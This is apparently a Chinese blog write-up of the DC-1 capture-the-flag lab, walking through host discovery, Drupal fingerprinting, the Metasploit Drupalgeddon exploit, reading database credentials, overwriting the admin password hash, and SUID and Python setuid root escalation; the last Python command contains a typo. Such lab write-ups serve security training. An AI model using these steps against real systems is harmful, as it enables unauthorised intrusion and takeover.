主机DC-1

主机DC-1

kali和DC-1均为NAT模式,192.168.222.0/24网段 处于同一内网

DC1主机渗透

探测存活主机-IP扫描

arp-scan -l -I eth0

-l 扫描本地网络

-I 指定网络接口

nmap -sn 192.168.222.0/24 自己的也扫描了

-sn 会执行一下操作判断目标主机是否在线

  • ICMP Echo请求(Ping):Nmap发送ICMP Echo请求(Ping)到目标主机,并等待回复
  • TCP SYN Ping:发送TCP SYN数据包到目标常见端口(默认80和443),如果返回TCP SYN-ACK包,则认为主机是在线的
  • TCP ACK Ping:发送TCP ACk 数据包到目标常见端口,通常用来绕过一些只对未建立连接的SYN包进行过滤的防火墙
  • ARP请求(仅限局域网):在局域网中,Nmap使用ARP请求来确定主机是否存货。这种方法在局域网中是最准确和快速的

端口扫描

nmap -p- -T4 192.168.222.130

加指纹识别服务nmap -p- -sV -T4 192.168.222.130

插件,中间件识别

火狐插件---Wappalyzer

whatweb http://192.168.222.130

  • 系统: Debian Linux
  • 中间件: Apache/2.2.22 (Debian) (from server string)
  • cms : Drupal 7
  • PHP Version : 5.4.45-0+deb7u14

目录扫描

dirb http://192.168.222.130

dirsearch -u

找洞

漏洞数据库 https://www.exploit-db.com/

searchsploit Drupal 7

漏洞利用

Drupal上面已经给出meatsploit验证过的漏洞,所以我们去msf进行尝试。

1.进入msf

msfconsole2.查找相应模块

search Drupalgeddon

use 0 加载第0个模块

show options

set RHOSTS 192.168.222.130 添加目标主机

run 执行已加载的模块

sysinfo :查看DC-1基本信息

shell获取shell

生成一个交互式终端的Bash shell

python -c "import pty;pty.spawn('/bin/bash')"

  • import pty: 导入 Python 的pty模块,该模块用于控制伪终端。
  • pty.spawn('/bin/bash'): 这行代码使用pty.spawn()函数来启动一个/bin/bash进程,也就是 Bash Shell。

flag1

直接ls查看文件,就可以看到flag1.txt

再使用cat查看

cat flag1.txt

给了提示,接下来查看配置文件

flag2

实在不确定配置文件格式,可以去百度搜一下

find ./ -name "*settings*"

cat ./sites/default/settings.php

暴力破解和字典攻击并不是获取访问权限的唯一途径(你肯定需要访问权限)。使用这些凭据,你可以做什么?

这段文字暗示,不仅仅通过暴力破解和字典攻击可以获取访问权限。它提到了一种可能性,即获取了访问凭据(可能是用户名和密码)之后,你可以利用这些凭据进行其他的操作

flag3

前面给了用户密码,登进去数据库看看

mysql -u dbuser -pR0ck3t

查看数据库show databases;

切换数据库use drupaldb

寻找用户信息

show tables;

select * from users;

反转行列select * from users\G;

可能文件中有加密文件,出去找一下

find ./ -name "*password*"

找到文件后大概看一下,简单运行一下看看有什么东西

./scripts/password-hash.sh

测试一下,设置一下密码

./scripts/password-hash.sh "123"

返回了哈希值,记住!我们拿进数据库更新一下admin密码

update users set pass='$S$DGpBVvgZ0e5WUUwr1mPCGxLl58N750.qt6XxCRWlCT2hlMLkJEwR' where uid=1;

更新完成后,我们访问192.168.222.130进行登录

得到flag3

flag4

根据提示的passwd,我们可以想到/etc/passwd

cat /etc/passwd

cd /home/flag4

ls

cat flag4.txt

flag5

根据提示我们进入/root,ls查看文件

cd /root

发现我们没有权限需要提权!!!

如何提权???

1.直接SUID提权

全系统查找所有带 SUID 权限的普通文件

find / -perm -u=s -type f 2>/dev/null

  • -perm -u=s: 这个部分是find命令的选项之一。
  • -perm选项用于指定要搜索的文件权限。
  • -u=s表示要查找具有 SUID 权限的文件。
  • SUID 权限位是文件所有者权限中的一个,它允许执行文件以文件所有者的权限运行。
  • -type f: 这部分限定了搜索结果只包括文件(而不包括目录)。
  • 2>/dev/null: 这部分将标准错误输出重定向到/dev/null,从而不会显示权限错误或访问拒绝的信息。

2.打开网站(总结好了哪些文件可以进行提权)

https://gtfobins.github.io/

-----------

find ./ -name "flag4.txt" -exec "/bin/bash" -p \;

  1. -exec:find 的核心参数,对找到的每个文件执行后续命
  1. /bin/bash -p:- -p(privileged):强制 bash 以「特权模式」运行
  1. \;:结束-exec命令的标记(必须转义,避免被 Shell 解析)。

此时已经可以查看flag5了,但是并不是真正拿到root

此时是root权限,但是你不是root用户,提权到一半。你还不能修改密码,此时你的uid不是0

3.进一步提权

python -c "import os;os.setuid(0);os.setgid(0);os.system('/bin/bash')"

ls

cat thefinalflag.txt

---------------------------------

1.ls -al:显示所有文件(包括隐藏文件)以长格式输出

2.当你看到文件被设置了 SUID 权限(-rwsr-xr-x),或当前低权限用户能以高权限执行 Python,可通过此命令提权。

python -c "import os;os.setuid(0);od.setgid(0);os.system('/bin/bash')"

posted @ 2025-12-31 10:49  知足常福  阅读(0)  评论(0)    收藏  举报